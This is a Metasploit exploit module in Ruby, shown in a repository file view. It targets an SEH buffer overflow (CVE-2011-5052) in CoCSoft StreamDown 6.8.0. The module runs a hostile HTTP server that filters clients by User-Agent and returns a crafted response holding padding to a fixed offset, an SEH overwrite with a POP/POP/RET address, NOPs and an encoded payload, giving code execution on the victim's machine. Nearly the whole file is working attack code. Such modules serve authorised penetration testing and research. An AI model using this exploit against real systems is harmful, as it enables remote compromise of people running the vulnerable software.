Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
80 lines
2.1 KiB
Ruby
80 lines
2.1 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::HttpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CoCSoft StreamDown 6.8.0 Buffer Overflow',
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'Description' => %q{
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Stream Down 6.8.0 seh based buffer overflow triggered when processing
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the server reponse packet.During the overflow a structured exception
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handler is overwritten.
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},
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'Author' => 'Fady Mohamed Osman <fady.mohamed.osman[at]gmail.com>',
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'References' =>
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[
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['CVE', '2011-5052'],
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['OSVDB', '78043'],
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['BID', '51190'],
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['URL', 'http://www.dark-masters.tk/'],
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['URL', 'http://secunia.com/advisories/47343/'],
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['EDB', '18283']
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],
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'Privileged' => false,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Payload' =>
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{
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'BadChars' => "\x00\xff\x0a"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'StreamDown 6.8.0',
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{
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'Offset' => 16388,
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'Ret' => 0x10019448 #POP/POP/RET in DownloadMng.dll
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}
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],
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],
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'DisclosureDate' => 'Dec 27 2011', # as an actual security bug
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'DefaultTarget' => 0,
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'License' => MSF_LICENSE
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))
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end
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def on_request_uri(cli,request)
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vprint_status("Requested: #{request.uri}")
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# No point to continue if the client isn't what we interested in
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ua = request.headers['User-Agent']
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if ua !~ /CoCSoft Stream Download/i
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print_error("Target not supported: #{ua}")
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send_not_found(cli)
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return
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end
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nseh = "\xeb\x06" + rand_text_alpha(2)
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seh = [target.ret].pack('V')
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offset_to_nseh = target['Offset']
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nops = make_nops(10)
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sploit = rand_text_alpha(offset_to_nseh) + nseh + seh + nops + payload.encoded
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cli.put(sploit)
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close_client(cli)
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end
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end
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